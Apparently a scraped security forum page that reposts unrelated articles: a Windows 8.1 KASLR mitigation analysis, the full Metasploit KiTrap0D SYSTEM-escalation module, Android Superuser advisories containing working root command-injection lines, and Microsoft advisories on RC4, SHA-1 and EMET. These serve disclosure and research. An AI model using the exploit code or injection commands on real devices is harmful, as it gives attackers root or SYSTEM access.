Nytro

KASLR Bypass Mitigations in Windows 8.1 Introduction As some of you may know, back in June of 2013, I gave a talk at Recon, a security conference in Montreal, about KASLR Information Bypasses/Leaks in the Windows NT kernel, entitled “I got 99 problems but a kernel pointer ain’t one”. The point of the presentation was both to collect and catalog the many ways in which kernel pointers could be leaked to a local userspace attacker (some of which were known, others not so much), as well as raise awareness to the inadequate protection, and sometimes baffling leaking of, such data. After sharing my slides and presentation with some colleagues from Microsoft, I was told to “expect some changes in Windows 8.1?. I was initially skeptical, because it seemed that local KASLR bypasses were not at the top of the security team’s list — having been left behind to accumulate for years (a much different state than Apple’s OS X kernel, which tries to take a very strong stance against leaking pointers). As Spender likes to point out, there will always be KASLR bugs. But in Windows, there were documented APIs to serve them on a platter for you. Restricted Callers Our investigation begins with an aptly named new Windows 8.1 kernel function: BOOLEANExIsRestrictedCaller ( _In_ KPROCESSOR_MODE PreviousMode ) { PTOKEN Token; NTSTATUS Status; BOOLEAN IsRestricted; ULONG IntegrityLevel; PAGED_CODE(); // // Kernel callers are never restricted // if (PreviousMode == KernelMode) { return FALSE; } // // Grab the primary token of the current process // Token = PsReferencePrimaryToken(PsGetCurrentProcess()); NT_ASSERT(Token != NULL); // // Get its integrity level // Status = SeQueryInformationToken(Token, TokenIntegrityLevel, &IntegrityLevel); ObDereferenceObject(Token); // // If the integrity level is below medium, or cannot be // queried, the caller is restricted. // if (!NT_SUCCESS(Status) || IntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID) { IsRestricted = TRUE; } else { IsRestricted = FALSE; } // // Return the caller's restriction state // return IsRestricted; } This now introduces a new security term in the Windows kernel lingo — a “restricted caller”, is a caller whose integrity level is below Medium. For those unfamiliar with the concept of integrity levels, this includes most applications running in a sandbox, such as Protected Mode IE, Chrome, Adobe Reader and parts of Office. Additionally, in Windows 8 and higher, it includes all Modern/Metro/TIFKAM/MoSH/Immersive/Store applications. So, what is it exactly that these restricted callers cannot do? System-wide Information Mitigations First of all, STATUS_ACCESS_DENIED is now returned when calling NtQuerySystemInformation, with the following classes: SystemModuleInformation — Part of my (and many others) presentation, this disables the EnumSystemDrivers API and hides the load address of kernel drivers (finally!). SystemModuleInformationEx — A new information class that was recently added in Vista and leaked as much as the one above. SystemLocksInformation — Part of my presentation (and also found by j00ru), this leaked the address of ERESOURCE locks in the system. SystemStackTraceInformation — Indirectly mentioned in the ETW/Performance section of my presentation, this leaked kernel stack addresses, but only if the right global flags were set. SystemHandleInformation — Part of my presentation, and well known beforehand, this was NT’s KASLR-fail posterboy: leaking the kernel address of every object on the system that had at least one handle open (i.e.: pretty much all of them). SystemExtendedHandleInformation — Another new Vista information class, which was added for 64-bit support, and leaked as much as above. SystemObjectInformation — Part of my presentation, if the right global flags were set, this dumped the address of object types and objects on the system, even if no handles were open. SystemBigPoolInformation — Part of my presentation, this dumped the address of all pool (kernel heap) allocations over 4KB (so-called “big” allocations). SystemSessionBigPoolInformation — The session-specific little brother of the above, perfect for those win32k.sys exploits. Thread Information Mitigations But that’s not all! Using the well-known SystemProcessInformation information class, which famously dumps the entrypoint addresses of system threads (pretty much giving you a function pointer into almost all loaded drivers), as well as the kernel stack base and stack limit of all the threads on the system (used by j00ru in his GS-stack-cookie-guessing attacks, since the cookie is partly generated with this information), now introduces some additional checks. First of all, there are now three information classes related to this data. SystemProcessInformation, which is well-understood. SystemExtendedProcessinformation, which was documented by j00ru and wj32. This returns the SYSTEM_EXTENDED_THREAD_ INFORMATION structure containing the stack base, limit, and Win32 start address. SystemFullProcessInformation, which is new to Windows 8.1. This returns the SYSTEM_PROCESS_INFORMATION_EXTENSION below: +0x000 DiskCounters : _PROCESS_DISK_COUNTERS (the new Windows 8 I/O counters at the disk level, copied from EPROCESS) +0x028 ContextSwitches : Uint8B (Copied from KPROCESS) +0x030 Flags : Uint4B (See below) +0x030 HasStrongId : Pos 0, 1 Bit (in other words, strongly named -- AppContainer) +0x030 Spare : Pos 1, 31 Bits (unused) +0x034 UserSidOffset : Uint4B (The offset, hardcoded to 0x38, of the primary user SID) (By the way, I hear Microsoft is taking suggestions on the upcoming 4th information class in Windows 9. Current leader is SystemFullExtendedProcessInformation.) It’s unfortunate that Microsoft continues to keep these APIs undocumented — the documented Win32 equivalents require up to 12 separate API calls, all of which return the same data 12 times, with the Win32 interface only picking one or two fields each time. Back to our discussion about KASLR, the behavior of this information class is to also apply the restricted caller check. If the caller is restricted, then the stack limit, stack base, start address, and Win32 start address fields in the thread structures will all be zeroed out. Additionally, to use the new “full” information class, the caller must be part of the Administrators group, or have the Diagnostic Policy Service SID in its token. Interestingly, in these cases the restricted caller check is not done — which makes sense after all, as a Service or Admin process should not be running below medium integrity. Process Information Mitigations The checks for restricted callers do not stop here however. A few more interesting cases are protected, such as in NtQueryInformationProcess, in which ProcessHandleTracing is disabled for such callers. I must admit this is something I missed in my KASLR analysis (and no obvious hits appear on Google) — this is an Object Manager feature (ironically, one which I often use) related to !obtrace and global flags, which enables seeing a full stack trace and reference count analysis of every object that a process accesses. Obviously, enabling this feature on one own’s process would leak the kernel pointers of all objects, as well as stack traces of kernel code and drivers that are in the path of the access (or running in the context of the process and performing some object access, such as during an IRP). Another obvious “d’oh!” moment was when seeing the check performed when setting up a Profile Object. Profile Objects are a little-talked about feature of NT, which primarily power the “kernrate” utility that is now rather deprecated (but still useful for analyzing drivers that are not ETW-friendly). This feature allows the caller to setup “buckets” — regions of memory — in which every time the processor is caught with its instruction pointer/program counter cause a trace record to be recorded. In a way similar to some of the cache/TLB prediction attacks shown recently, in which the processor’s trace buffer is queried for address hits, the same could be setup using an NT profile object, which would reveal kernel addresses. In Windows 8.1, attempts to setup buckets above the userspace barrier will result in failure if the caller is restricted. Last but not least, the ProcessWorkingSetWatch and ProcessWorkingSetWatchEx classes of NtQueryInformationProcess are also now protected. I didn’t talk about these two at Recon, and again I’m not aware of any other public research on these, but they’ve always been my favorite — especially because PSAPI, documented on MSDN, exposes Win32 friendly versions of these (see GetWsChanges). Basically, once you’ve turned WS Watch on your process, you are given the address of every hard fault, as well as the instruction pointer/program counter at the time of the fault — making it a great way to extract both kernel data and code addresses. Instead of going through the trouble of pruning kernel accesses from the working set watch log, the interface is now simply completely disabled for restricted callers. Conclusion Well, there you have it folks! Although a number of undocumented interfaces and mechanisms still exist to query protected KASLR pointers, the attack surface has been greatly decreased — eliminating almost all non-privileged API calls, requiring at least Medium IL to use them (thus barring any Windows Store Apps from using them). This was great work done by the kernel security team at Microsoft, and continues to showcase the new lengths at which Windows is willing to go to maintain a heightened security posture. It’s only one of the many other exciting security changes in Windows 8.1 Autor: Alex Ionescu Sursa: http://www.alex-ionescu.com/?p=82

Da, e ok, si mie imi captureaza acele "Accept-Encoding" dar nu vad sa prinda login-ul pe <form> si nici SSL strip-ul nu pare sa mearga.

Stealth [ just.a.legend ]

MenuetOS is an Operating System in development for the PC written entirely in 32/64 bit assembly language. Menuet64 is released under License and Menuet32 under GPL. Menuet supports 32/64 bit x86 assembly programming for smaller, faster and less resource hungry applications. Menuet isn't based on other operating system nor has it roots within UNIX or the POSIX standards. The design goal, since the first release in year 2000, has been to remove the extra layers between different parts of an OS, which normally complicate programming and create bugs. Menuet's application structure isn't specifically reserved for asm programming since the header can be produced with practically any other language. However, the overall application programming design is intended for 32/64 bit asm programming. Menuet programming is fast and easy to learn. Menuet's responsive GUI is easy to handle with assembly language. And Menuet64 is capable of running Menuet32 applications. News - 11.11.2013 M64 0.99.34 released - Updates, improvements - 19.01.2013 M64 0.98.99 released - Mathlib based on Naoki Shibata's SLEEF-library - 11.03.2012 M64 0.98.43 released - Updates, bugfixes, improvements (printer,unzip,..) - 25.06.2011 M64 0.96X released - IntelHDA (ALC662) audio driver - 01.06.2011 M64 0.96P released - Intel Pro/1000 and Realtek 816x/811x drivers from Ian Seyler - 12.03.2011 M64 0.95Z released - Updates, bugfixes, improvements (usb,smp,tcp,..) - 12.10.2010 M64 0.94H released - Fourier transform, sinc and resampler from A.Mogyorosi - 24.06.2010 M64 0.94B released - More supported TV-tuners & MPlayer 0.51 - 12.06.2010 M64 0.93X released - Multi-Processor support - 10.01.2010 M64 0.92H released - Digital TV support (dvb-t) - 02.09.2009 M64 0.91J released - New bootup desktop (transparency, background) - 20.08.2009 M64 MediaPlayer by V.Turjanmaa & A.Mogyorosi - 14.08.2009 M64 0.90U released - Improved HTTP client & GUI transparency - 29.12.2007 CD available for download - 31.08.2013 M32 0.85C released Features - Pre-emptive multitasking with 1000hz scheduler, multithreading, multiprocessor, ring-3 protection - Responsive GUI with resolutions up to 1920x1080, 16 million colours - Free-form, transparent and skinnable application windows, drag'n drop - SMP multiprocessor support with currently up to 8 cpus - IDE: Editor/Assembler for applications - USB 2.0 HiSpeed Classes: Storage, Printer, Webcam Video and TV/Radio support - USB 1.1 Keyboard and Mouse support - TCP/IP stack with Loopback & Ethernet drivers - Email/ftp/http/chess clients and ftp/mp3/http servers - Hard real-time data fetch - Fits on a single floppy, boots also from CD and USB drives Sursa: MenuetOS

23:59 zic baetii. Stam cu ochii pe ceas si depunem plangere la OPC daca ne mint.

Ban. Avem market. Nu ai 50 de posturi.

[h=1]Finding all the vhosts[/h] Published 11/11/2013 | By MWE There are a number of ways to own a webapp. In a shared environment, an attacker can enumerate all the applications accessible and target the weakest one to root the server and with it all the webapps on the box. To try and emulate this approach on a pentest, we have to find ALL THE VHOSTS. [h=2]Key features[/h] This natty python 2 script scrapes a series of web applications (including bing and yougetsignal’s database) and looks at Subject Alternative Names in the SSL certificate to find as many web applications which resolve to an IP address as possible. No guarantees are made as to the completeness or accuracy of the data, but it’s the best we can do. It can give an insight into the attack surface associated with a given IP address, allowing testers to advise client in situations where the risk is out of their control. [h=2]Usage and example[/h] $ python2 allthevhosts.py 213.165.238.226 [+] bing search complete [+] myipneighbours Search Complete [E]ipneighbour search error. [+] yougetsignal Search Complete [+] SAN enumeration complete. [+] resolved original addresss... [+] verifying that 8 found URLs resolve to the same address [+] all URLs resolved www.portcullis-security.com labs.portcullis.co.uk www.portcullis.co.uk ctads.net portcullis-forensics.com portcullis-security.com portcullis.co.uk Download: http://labs.portcullis.co.uk/download/allthevhosts.tar.gz Sursa: Finding all the vhosts | Portcullis Labs

Headerul e naspa (logo) Footerul e prea mare si gol. Nu ai <title> E Wordpress.

De unde stiti ca nu e Fake? Mai multe "detalii":

Windows SYSTEM Escalation Via KiTrap0D Authored by H D Moore, Pusscat, Tavis Ormandy, OJ Reeves | Site metasploit.com This Metasploit module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll and is not supported on x64 editions of Windows. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Post::File include Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows SYSTEM escalation via KiTrap0D', 'Description' => %q{ This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Original resesarcher and exploit creator 'HD Moore', # Port of Tavis' code to meterpreter module 'Pusscat', # Port of Tavis' code to meterpreter module 'OJ Reeves' # Port of meterpreter code to a windows local exploit ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2010-0232' ], [ 'OSVDB', '61854' ], [ 'MSB', 'MS10-015' ], [ 'EDB', '11199' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ] ], 'DisclosureDate'=> "Jan 19 2010" )) end def check # Validate platform architecture if sysinfo["Architecture"] =~ /x64|WOW64/i return Exploit::CheckCode::Safe end # Validate OS version winver = sysinfo["OS"] unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/ return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end dll = '' offset = nil print_status("Launching notepad to host the exploit...") cmd = "notepad.exe" opts = {'Hidden' => true} process = client.sys.process.execute(cmd, nil, opts) pid = process.pid host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) print_good("Process #{pid} launched.") print_status("Reflectively injecting the exploit DLL into #{pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll") library_path = ::File.expand_path(library_path) ::File.open(library_path, 'rb') { |f| dll = f.read } pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ offset = pe.rva_to_file_offset(e.rva) break end end # Inject the exloit, but don't run it yet. exploit_mem = inject_into_pid(dll, host_process) print_status("Exploit injected. Injecting payload into #{pid}...") # Inject the payload into the process so that it's runnable by the exploit. payload_mem = inject_into_pid(payload.encoded, host_process) print_status("Payload injected. Executing exploit...") # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. host_process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end protected def inject_into_pid(payload, process) payload_size = payload.length payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 payload_mem = process.memory.allocate(payload_size) process.memory.protect(payload_mem) process.memory.write(payload_mem, payload) return payload_mem end end Info: Full Disclosure: Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack Sursa: Windows SYSTEM Escalation Via KiTrap0D ? Packet Storm

Android 4.2.x Superuser Unsanitized Environment Authored by Kevin Cernekee Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner. This advisoriy documents PATH and BOOTCLASSPATH vulnerabilities. Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner: - ChainsDD Superuser (current releases, including v3.1.3) - CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1) - Chainfire SuperSU prior to v1.69 The majority of third-party ROMs include one of these packages. On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. In the course of its normal duties, and prior to making the allow/deny decision, /system/xbin/su invokes external programs under a privileged UID, typically root (0) or system (1000): - /system/bin/log, to record activity to logcat - /system/bin/am, to send intents to the Superuser Java app - /system/bin/sh, to execute the /system/bin/am wrapper script - /system/bin/app_process, the Dalvik VM The user who invokes /system/xbin/su may have the ability to manipulate the environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items belonging to any of these subprocesses. At least two vulnerabilities are readily apparent: - On ClockWorkMod Superuser, /system/xbin/su does not set PATH to a known-good value, so a malicious user could trick /system/bin/am into using a trojaned app_process binary: echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "$@"' > app_process ; chmod 755 app_process PATH=`pwd`:$PATH su -c 'true' The PATH vulnerability is being tracked under CVE-2013-6768. - Other environment variables could be used to affect the behavior of the (moderately complex) subprocesses. For instance, manipulation of BOOTCLASSPATH could cause a malicious .jar file to be loaded into the privileged Dalvik VM instance. All three Superuser implementations allowed Dalvik's BOOTCLASSPATH to be supplied by the attacker. The BOOTCLASSPATH vulnerability is being tracked under CVE-2013-6774. Sursa: Android 4.2.x Superuser Unsanitized Environment ? Packet Storm

Android 4.2.x Superuser Shell Character Escape Authored by Kevin Cernekee Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root. These issues are due to a shell character escape vulnerability. Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root, either without prompting the user or after the user has denied the request: - CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1) - Chainfire SuperSU prior to v1.69 The majority of recent third-party ROMs include one of these packages. Older ROMs may use the ChainsDD Superuser package, which is not affected but is no longer maintained. On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. If any of these checks fail, the denial is recorded by broadcasting an intent to the Superuser app through the Android Activity Manager binary, /system/bin/am. /system/bin/am is invoked as root, and user-supplied arguments to the "su" command can be included on the "am" command line. On a rooted Android >= 4.3 device, due to changes in Android's security model, /system/xbin/su functions as an unprivileged client which connects to a "su daemon" started early in the boot process. The client passes the request over a UNIX socket, and the daemon reads the caller's credentials using SO_PEERCRED. As described above, /system/bin/am is called (now from the daemon) to communicate with the app that implements the user interface. If the user invokes "su -c 'COMMAND'" and the request is denied (or approved), ClockWorkMod Superuser constructs a command line to pass to a root shell: snprintf(user_result_command, sizeof(user_result_command), "exec /system/bin/am " ACTION_RESULT " --ei binary_version %d --es from_name '%s' --es desired_name '%s' --ei uid %d --ei desired_uid %d --es command '%s' --es action %s --user %d", VERSION_CODE, ctx->from.name, ctx->to.name, ctx->from.uid, ctx->to.uid, get_command(&ctx->to), policy == ALLOW ? "allow" : "deny", ctx->user.android_user_id); get_command() would return "COMMAND", unescaped, through "/system/bin/sh -c". By adding shell metacharacters to the command, the root subshell can be tricked into running arbitrary command lines as root: su -c "'&touch /data/abc;'" Upon denial by the operator, "touch /data/abc" will be executed with root privileges. The Superuser variant of this problem is being tracked under CVE-2013-6769. SuperSU prior to v1.69 removes quote and backslash characters from the string passed to /system/bin/sh, but backticks or $() can be used instead for the same effect: su -c '`touch /data/abc`' su -c '$(touch /data/abc)' The SuperSU variant of this problem is being tracked under CVE-2013-6775. ChainsDD Superuser v3.1.3 does not appear to pass the user-supplied input on the /system/bin/am command line. Sursa: Android 4.2.x Superuser Shell Character Escape ? Packet Storm

Eu nu fac afaceri cu nimeni, puteai sa ma intrebi daca am avut vreo treaba cu el. Asteptam si un raspuns din partea lui, poate are vreo scuza. PS: Acum am vazut: Total posts: 1 Nu suntem nebuni cand cerem minim 50 de posturi pentru postat la Market. Nici nu ma obosesc sa ii dau ban pentru asta.

Cel mai cunoscut site de seriale piratate din România a fost închis de Poli?ie de Vlad Andriescu Domeniul de internet vplay.ro, unde exista unul dintre cele mai mari platforme de filme piratate din România a fost închis de Poli?ia Român?. Potrivit hotnews.ro, Institutul Na?ional de Cercetare în Informatic?, care administreaz? domeniile de internet .ro a suspendat domeniul vplay.ro, dup? o sesizare a Poli?iei. Aceasta se referea la un clip de pornografie infantil? care nu putea fi îndep?rtat de pe site, potrivit lui Eugen St?icu?, ?eful departamentului RoTLD din cadrul ICI. Domeniul vplay.ro este de?inut de o persoan? fizic? din Ucraina, c?ruia Poli?ia i-a cerut îndep?rtarea con?inutului de pe site. "În cazule de pornografie infantil? ?i în cazurile de phising se ac?ioneaz? imediat. Poli?ia a contactat ?i autorit??ile din ucraina, dar întrucât nu au primit un r?spuns, ne-a cerut s? t?iem accesul pân? la rezolvarea investiga?iilor cu partea ucrainean?", a decalrat St?icu? pentru hotnews.ro. vplay.ro a fost înregistrat prin Hostway în 2009, dar nu a fost g?zduit de firma de hosting ?i servere din Bucure?ti. VPlay era considerat? cea mai mare platform? de filme piratate de pe internetul românesc. Utilizatorii g?seau aici seriale de la televiziunile americane. Con?inutul site-ului era unul pus acolo ilegal, dar autorit??ile nu au putut ancheta cine se afl? în spatele platformei, deoarece era înregistrat? în afara României. "Mai exist? ?i alte cazuri în curs de anchet? privind site-uri care ar difuza con?inut protejat de drepturi de autor f?r? a avea acordul de?in?torilor acelor drepturi", au mai spus oficialii Poli?iei. Sursa: Cel mai cunoscut site de seriale piratate din România a fost închis de Poli?ie | adevarul.ro mai cunoscut site de seriale piratate din România a fost închis de Poli?ie

Vin multe persoane de aici. Eu vin.

Spui asta pentru ca l-ai vazut acum mult timp sau pentru ca nu e FullHD? E ceva ce ar trebui vazut de catre toti tinerii cu aspiratii de programator/hacker din ziua de azi.

Introducing Enhanced Mitigation Experience Toolkit (EMET) 4.1 swiat 11 Nov 2013 4:57 PM In June 2013, we released EMET 4.0 and customer response has been fantastic. Many customers across the world now include EMET as part of their defense-in-depth strategy and appreciate how EMET helps businesses prevent attackers from gaining access to computers systems. Today, we’re releasing a new version, EMET 4.1, with updates that simplify configuration and accelerate deployment. EMET anticipates the most common techniques adversaries might use and shields computer systems against those security threats. EMET uses security mitigation technologies such as Data Execution Prevention (DEP), Mandatory Address Space Layout Randomization (ASLR), Structured Exception Handler Overwrite Protection (SEHOP), Export Address Table Access Filtering (EAF), Anti-ROP, and SSL/TLS Certificate Trust Pinning, to help protect computer systems from new or undiscovered threats. EMET can also protect legacy applications or third party line of business applications where you do not have access to the source code. Today’s EMET 4.1 release includes new functionality and updates, such as: Updated default protection profiles, Certificate Trust rules, and Group Policy Object configuration. Shared remote desktop environments are now supported on Windows servers where EMET is installed. Improved Windows Event logging mechanism allows for more accurate reporting in multi-user scenarios. Several application-compatibility enhancements and mitigation false positive reporting. EMET built by Microsoft Security Research Center (MSRC) engineering team, brings the latest in security science to your organization. While many EMET users exchange feedback and ideas at TechNet user forums, a less known fact is that Microsoft Premier Support options are also available for businesses that deploy EMET within their enterprise. Many of our customers deploy EMET - at scale - through the Microsoft System Center Configuration manager and apply enterprise application, user and accounts rules through Group Policy. EMET works well with the tools and support options our customers know and use today. As we continue to advance EMET, we welcome your feedback on what you like and what additional features would help in protecting your business. If you are attending RSA Conference at San Francisco, or the Blackhat Conference in Las Vegas next year, be sure to stop by the Microsoft booth, and share your feedback with us. We look forward to hearing from you. The Microsoft EMET Team Microsoft Security Response Center (MSRC) Engineering Sursa: Introducing Enhanced Mitigation Experience Toolkit (EMET) 4.1 - Security Research & Defense - Site Home - TechNet Blogs

Security Advisory 2868725: Recommendation to disable RC4 swiat 12 Nov 2013 10:00 AM In light of recent research into practical attacks on biases in the RC4 stream cipher, Microsoft is recommending that customers enable TLS1.2 in their services and take steps to retire and deprecate RC4 as used in their TLS implementations. Microsoft recommends TLS1.2 with AES-GCM as a more secure alternative which will provide similar performance. Background Developed in 1987 by Ron Rivest, RC4 was one of the earliest stream ciphers to see broad use. It was initially used in commercial applications and was faster than alternatives when implemented in software and over time became pervasive because of how cheap, fast and easy it was to implement and use. Stream vs. Block At a high level, a stream cipher generates a pseudorandom stream of bits of the same length as the plaintext and then XOR's the pseudorandom stream and the plaintext to generate the cipher text. This is different than a block cipher, which chunks plaintext into separate blocks, pads the plaintext to the block size and encrypts the blocks. A History of Issues RC4 consists of a Key Scheduling Algorithm (KSA) which feeds into a Psuedo-Random Generator (PRG), both of which need to be robust for use of the cipher to be considered secure. Beyond implementation issues with RC4, such as, document encryption and the 802.11 WEP implementation, there are some significant issues that exist in the KSA which lead to issues in the leading bytes of PRG output. By definition, a PRG is only secure if the output is indistinguishable from a stream of random data. In 2001, Mantin and Shamir < CiteSeerX — A Practical Attack on Broadcast RC4 > found a significant bias in RC4 output, specifically that the second byte of output would be ‘0’. Attacks and research have evolved since 2001, the work of T. Isobe, T. Ohigashi, Y. Watanabe, M. Morii of Kobe University in Japan is especially significant when evaluating the risk of RC4 use. Their findings show additional, significant bias in the first 257 bytes of RC4 output as well as practical plaintext recovery attacks on RC4. The plaintext recovery attacks show a passive attacker collecting ciphertexts encrypted with different keys. Given 2^32 ciphertexts with different keys, the first 257 bytes of the plaintext are recovered with a probability of more than .5 < http://home.hiroshima- u.ac.jp/ohigashi/rc4/Full_Plaintext_Recovery%20Attack_on%20Broadcast_RC4_pre-proceedings.pdf >. Since early RC4 output cannot be discarded from SSL/TLS implementations without protocol-level changes, this attack demonstrates the practicality of attacks against RC4 in common implementations. Internet Use of RC4 One of the first steps in evaluating the customer impact of new security research and understanding the risks involved has to do with evaluating the state of public and customer environments. Using a sample size of five million sites, we found that 58% of sites do not use RC4, while approximately 43% do. Of the 43% that utilize RC4, only 3.9% require its use. Therefore disabling RC4 by default has the potential to decrease the use of RC4 by over almost forty percent. Microsoft's Response Today's update provides tools for customers to test and disable RC4. The launch of Internet Explorer 11 (IE 11) and Windows 8.1 provide more secure defaults for customers out of the box. IE 11 enables TLS1.2 by default and no longer uses RC4-based cipher suites during the initial TLS handshake. More detailed information about these changes can be found in the IE 11 blog <http://blogs.msdn.com/b/ie/archive/2013/11/12/IE11-Automatically-Makes-Over-40-of-the-Web- More-Secure-While-Making-Sure-Sites-Continue-to-Work/> For application developers, we have implemented additional options in SChannel which allow for its use without RC4. Today's Updates Today's update KB 2868725provides support for the Windows 8.1 RC4 changes on Windows 7, Windows 8, Windows RT, Server 2008 R2, and Server 2012. These updates will not change existing settings and customers must implement changes (which are detailed below) to help secure their environments against weaknesses in RC4. Call to Action Microsoft strongly encourages customers to evaluate, test and implement the options for disabling RC4 below to increase the security of clients, servers and applications. Microsoft recommends enabling TLS1.2 and AES-GCM. Clients and servers running on Windows with custom SSL/TLS implementations, such as, Mozilla Firefox and Google Chrome will not be affected by changes to SChannel. How to Completely Disable RC4 Clients and Servers that do not wish to use RC4 ciphersuites, regardless of the other party's supported ciphers, can disable the use of RC4 cipher suites completely by setting the following registry keys. In this manner any server or client that is talking to a client or server that must use RC4, can prevent a connection from happening. Clients that deploy this setting will not be able to connect to sites that require RC4 while servers that deploy this setting will not be able to service clients that must use RC4. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 128/128] "Enabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 40/128] "Enabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 56/128] "Enabled"=dword:00000000 How Other Applications Can Prevent the Use of RC4 based Cipher Suites RC4 is not turned off by default for all applications. Applications that call into SChannel directly will continue to use RC4 unless they opt-in to the security options. Applications that use SChannel can block the use of RC4 cipher suites for their connections by passing the SCH_USE_STRONG_CRYPTO flag to SChannel in the SCHANNEL_CRED structure. If compatibility needs to be maintained, then they can also implement a fallback that does not pass this flag. Microsoft recommends that customers upgrade to TLS1.2 and utilize AES-GCM. On modern hardware AES-GCM has similar performance characteristics and is a much more secure alternative to RC4. - William Peteroy, MSRC I would like to thank the Windows, Internet Explorer and .NET teams for their work in this effort as well as Ali Rahbar and Suha Can of the MSRC Engineering team for their hard work and input. I would also like to thank Matthew Green for the excellent write-ups he has for this and other applied cryptography issues on his blog. Sursa: Security Advisory 2868725: Recommendation to disable RC4 - Security Research & Defense - Site Home - TechNet Blogs

Security Advisory 2880823: Recommendation to discontinue use of SHA-1 swiat 12 Nov 2013 10:00 AM Microsoft is recommending that customers and CA’s stop using SHA-1 for cryptographic applications, including use in SSL/TLS and code signing. Microsoft Security Advisory 2880823 has been released along with the policy announcement that Microsoft will stop recognizing the validity of SHA-1 based certificates after 2016. Background Secure Hashing Algorithm 1 (SHA-1) is a message digest algorithm published in 1995 as part of NIST’s Secure Hash Standard. A hashing algorithm is considered secure only if it produces unique output for any given input and that output cannot be reversed (the function only works one-way). Since 2005 there have been known collision attacks (where multiple inputs can produce the same output), meaning that SHA-1 no longer meets the security standards for a producing a cryptographically secure message digest. For attacks against hashing algorithms, we have seen a pattern of attacks leading up to major real-world impacts: Short history of MD5 Attacks Source: Marc Stevens, Cryptanalysis of MD5 and SHA-1 1992: MD5 published 1993: Pseudo-collision attack 2004: Identical-prefix collision found in 2^40 calls 2006: chosen-prefix collision found in 2^49 calls 2009: identical-prefix and chosen prefix optimized to 2^16 and 2^39 calls respectively, Rouge CA practical attacks implemented It appears that SHA-1 is on a similar trajectory: 1995: SHA-1 published 2005: SHA-1 collision attack published in 2^69 calls 2005: NIST recommendation for movement away from SHA-1 2012: Identical-prefix collision 2^61 calls presented 2012: Chosen-prefix collision 2^77.1 calls presented Current Issues Microsoft is actively monitoring the situation and has released a policy for deprecating SHA-1 by 2016. Microsoft Recommendations Microsoft recommends that Certificate Authorities (CA’s) stop using SHA-1 for digital signatures and that consumers request SHA-2 certificates from CA’s. Microsoft Policy Microsoft has publicized a new policy that calls for users and CA’s to stop using SHA1-based certificates by 2016. - William Peteroy, MSRC I would like to thank the Microsoft PKI team as well as Ali Rahbar of the MSRC Engineering team for their hard work and input. Sursa: Security Advisory 2880823: Recommendation to discontinue use of SHA-1 - Security Research & Defense - Site Home - TechNet Blogs

File Analyzer analyses the behavior of potential malicious executables such as *.exe, *.dll and *.sys files. It's built on top of Joe Sandbox Desktop. Executables are analyzed with a technology called Hybrid Code Analysis (HCA). HCA combines dynamic and static program analysis into one powerful tool. Joe Sandbox Desktop uses over 300 behavior signatures to detect, classify and rate malicious behavior and artifacts. To find out more about Joe Sandbox Desktop go to: JOE SANDBOX DESKTOP - Next-Generation Sandbox for in-depth malware analysis!. http://www.file-analyzer.net/

